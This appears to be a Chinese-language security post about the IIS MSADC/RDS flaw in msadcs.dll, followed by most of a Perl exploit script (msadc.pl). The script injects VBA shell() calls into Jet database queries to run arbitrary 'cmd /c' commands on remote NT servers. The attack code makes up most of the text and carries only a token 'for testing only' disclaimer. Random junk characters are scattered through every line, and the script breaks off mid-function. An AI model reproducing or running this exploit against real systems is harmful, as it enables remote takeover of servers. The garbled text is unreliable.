IIS的漏洞(威胁NT之三招穿墙手) (MS,缺陷)
jy$@a%FD $&-5;4R'0 涉及程序:
(;o*eFC F Microsoft NT server
irxz l3 %j]STD.E 描述:
, j980/ 1个NT的重大漏洞造成全世界大约1/4的NT server可以被入侵者获取最高权限
)@QJ " mj^+u- 详细:
J2Et-Cz 1 如果你没有时间读详细内容的话,就删除:
Y'm=etE c:\Program Files\Common Files\System\Msadc\msadcs.dll
kM*T$JqN 有关的安全问题就没有了。
i1*C{Lf;%) +Takde%~ 微软对关于Msadc的问题发了三次以上的补丁,仍然存在问题。
#0y<a:}R c c G['7 1、第一次补丁,基本上,其安全问题是MS Jet 3.5造成的,它允许调用VBA shell()函数,这将允许入侵者远程运行shell指令。
f>iuHR*EXB 关于利用ODBC远程漏洞的描述,请参看:
w[fDk1H) :uCdq`SaQl http://www.cnns.net/frankie/mirror/nttoolz/ntpipe.htm P@ypk^v tbj=~xYf 2、IIS 4.0的缺省安装设置的是MDAC1.5,这个安装下有一个/msadc/msadcs.dll的文件,也允许通过web远程访问ODBC,获取系统的控制权,这点在很多黑客论坛都讨论过,请参看
.Oo/y0E^ http://www.microsoft.com/security/bulletins/MS99-025faq.asp i*tv,f.( ~@c-* 这里不再论述。
P[gO85 _,;%mK 3、如果web目录下的/msadc/msadcs.dll/可以访问,那么ms的任何补丁可能都没用,用类似:
o\4t4}z~'f _'iDF /%6Dsadc/%6Dsadcs.dll/V%62BusO%62j.V%62BusO%62jCls.GetRecordset
HFh /$VM 的请求,就可以绕过安全机制进行非法的VbBusObj请求,从而达到入侵的目的。 下面的代码仅供测试,严禁用于非法用途,否则后果自负!!!
f'/ KMe%< 2ChWe}f (9.yOc4 #将下面这段保存为txt文件,然后: "perl -x 文件名"
cK}Pf+r> {Bs+G/?o/ #!perl
O8 RzUg& #
4
eh=f!(+ # MSADC/RDS 'usage' (aka exploit) script
+t\^(SJ6 #
sWxK~Yg # by rain.forest.puppy
mY2:m(9"5 #
b :\D\X # Many thanks to Weld, Mudge, and Dildog from l0pht for helping me
v4<j # beta test and find errors!
Zw=G@4xoU jn=ug42d use Socket; use Getopt::Std;
Lt<oi8'N getopts("e:vd:h:XR", \%args);
JieU9lA^&B gA
+:CgQ print "-- RDS exploit by rain forest puppy / ADM / Wiretrip --\n";
H`|0-`q ,?=KgG1i if (!defined $args{h} && !defined $args{R}) {
E`E'<"{Yd print qq~
: ^(nj7D Usage: msadc.pl -h <host> { -d <delay> -X -v }
*FPg#a+ -h <host> = host you want to scan (ip or domain)
!LSs9_w -d <seconds> = delay between calls, default 1 second
Q_lu`F| -X = dump Index Server path table, if available
EVz9WY -v = verbose
./iXyta -e = external dictionary file for step 5
9eSRCLhgD /RF%1!M
K Or a -R will resume a command session
1M+Zkak7p NhlJ3/J j ~; exit;}
5ZsDgOeY i7v/A&Rc $ip=$args{h}; $clen=0; $reqlen=0; $|=1; $target="";
~= 9Vv if (defined $args{v}) { $verbose=1; } else {$verbose=0;}
02M7gBS if (defined $args{d}) { $delay=$args{d};} else {$delay=1;}
&t[|%c*D& if(!defined $args{R}){ $ip.="." if ($ip=~/[a-z]$/);
&wGg6$ $target= inet_aton($ip) || die("inet_aton problems; host doesn't exist?");}
rt;gC[3\ if (defined $args{X} && !defined $args{R}) { &hork_idx; exit; }
vl~%o@*_ HWbBChDF if (!defined $args{R}){ $ret = &has_msadc;
(4ZLpsbJ die("Looks like msadcs.dll doesn't exist\n")if $ret==0}
W:B }u\)C =
o+7xom print "Please type the NT commandline you want to run (cmd /c assumed):\n"
@^HwrwRA . "cmd /c ";
RK3.- $in=<STDIN>; chomp $in;
fk\5D[j^ $command="cmd /c " . $in ;
sA2o2~AmM jEE_D +K if (defined $args{R}) {&load; exit;}
7,su f }= Su4h'&xx print "\nStep 1: Trying raw driver to btcustmr.mdb\n";
G-8n &try_btcustmr;
;y>'yq} Jk~UEqr+ print "\nStep 2: Trying to make our own DSN...";
cUM_ncYOP &make_dsn ? print "<<success>>\n" : print "<<fail>>\n";
]
zIfC>@R @ V5S4E print "\nStep 3: Trying known DSNs...";
(\uAAW" &known_dsn;
Ltg-w\?] +9~ZA3DiP print "\nStep 4: Trying known .mdbs...";
|0DP}
`~ &known_mdb;
pP
oxVvG{ qa;EI ;8 if (defined $args{e}){
Sgx+V"bkT print "\nStep 5: Trying dictionary of DSN names...";
VVN#
$ &dsn_dict; } else { "\nNo -e; Step 5 skipped.\n\n"; }
}!knU3J aKOf;^@ print "Sorry Charley...maybe next time?\n";
5F03y`@ u exit;
`E%(pjG w*2^/zh ##############################################################################
+DxifXtB v['AB4 sub sendraw { # ripped and modded from whisker
SNxz*`@4 sleep($delay); # it's a DoS on the server! At least on mine...
T:'+6
my ($pstr)=@_;
* S{\#s socket(S,PF_INET,SOCK_STREAM,getprotobyname('tcp')||0) ||
ZU^Q1}</5 die("Socket problems\n");
A ')(SGSc if(connect(S,pack "SnA4x8",2,80,$target)){
e
mC\i select(S); $|=1;
m^Rd Iy) print $pstr; my @in=<S>;
q4zSS #]A select(STDOUT); close(S);
nYgx9Q"<om return @in;
q"l>`KCG` } else { die("Can't connect...\n"); }}
HMQ'b(a' ~Cu lFxu ##############################################################################
(A|B@a!Y> jUZ[`f; sub make_header { # make the HTTP request
|y'b217t my $msadc=<<EOT
>]C<j4 POST /msadc/msadcs.dll/AdvancedDataFactory.Query HTTP/1.1
FcY$k%;'Q User-Agent: ACTIVEDATA
l [x%I Host: $ip
;\q<zO@x Content-Length: $clen
ew/KZE Connection: Keep-Alive
L&rO6 -
Ra\^uz ADCClientVersion:01.06
M Yu?&}%^ Content-Type: multipart/mixed; boundary=!ADM!ROX!YOUR!WORLD!; num-args=3
WY3_7k8u %!D_q~"H --!ADM!ROX!YOUR!WORLD!
>Ziy1Dp Content-Type: application/x-varg
6J]~A0vsi} Content-Length: $reqlen
89ZDOji?O XuA0.b% EOT
e ^-3etx ; $msadc=~s/\n/\r\n/g;
ScsWnZ return $msadc;}
^Y#@$c '|J) ds ##############################################################################
,%.:g65% a?l_-Fi sub make_req { # make the RDS request
*di&%&f my ($switch, $p1, $p2)=@_;
c-v*4b/d my $req=""; my $t1, $t2, $query, $dsn;
L>i<dD{ 0>8ZN!@K if ($switch==1){ # this is the btcustmr.mdb query
ho(5r5SNE $query="Select * from Customers where City=" . make_shell();
% d4+Ctrp- $dsn="driver={Microsoft Access Driver (*.mdb)};dbq=" .
'=-s1c@^ $p1 . ":\\" . $p2 . "\\help\\iis\\htm\\tutorial\\btcustmr.mdb;";}
b ^+Fs 7BVXBw elsif ($switch==2){ # this is general make table query
G)4ZK#wz $query="create table AZZ (B int, C varchar(10))";
;}$Z
80 $dsn="$p1";}
k`{RXx m]Hb+Y=;h elsif ($switch==3){ # this is general exploit table query
o8iig5bp $query="select * from AZZ where C=" . make_shell();
r=xTs,xx $dsn="$p1";}
|2[S/8g! Q>##hG:m elsif ($switch==4){ # attempt to hork file info from index server
7=; D0SS $query="select path from scope()";
t@l(xns V $dsn="Provider=MSIDXS;";}
.Gjr`6R dw'<" +zO elsif ($switch==5){ # bad query
6sO $query="select";
@Pd)
%'s $dsn="$p1";}
BYkVg2D( 8 /5sv $t1= make_unicode($query);
#_?426Wfs $t2= make_unicode($dsn);
BLWA!- $req = "\x02\x00\x03\x00";
|Gf1^8:C9 $req.= "\x08\x00" . pack ("S1", length($t1));
tCd{G
c $req.= "\x00\x00" . $t1 ;
UZ[/aq $req.= "\x08\x00" . pack ("S1", length($t2));
!5yRWMO9X~ $req.= "\x00\x00" . $t2 ;
yBJ/>SAcG $req.="\r\n--!ADM!ROX!YOUR!WORLD!--\r\n";
+e&m#d return $req;}
pjaiAe!k
:<'i-Ur8 ##############################################################################
A73V6" /8 e2dw:
\ sub make_shell { # this makes the shell() statement
s
ZlJ/_g return "'|shell(\"$command\")|'";}
OHx,*}N }wa}hIqx ##############################################################################
fho=<|- } IIK~d, sub make_unicode { # quick little function to convert to unicode
|iLx $P6 my ($in)=@_; my $out;
muK'h` for ($c=0; $c < length($in); $c++) { $out.=substr($in,$c,1) . "\x00"; }
rTWh(8T return $out;}
R4z<Xf:! 94Kuy@0:+ ##############################################################################
8@9hU`H8l 6R$F =MB sub rdo_success { # checks for RDO return success (this is kludge)
g&oc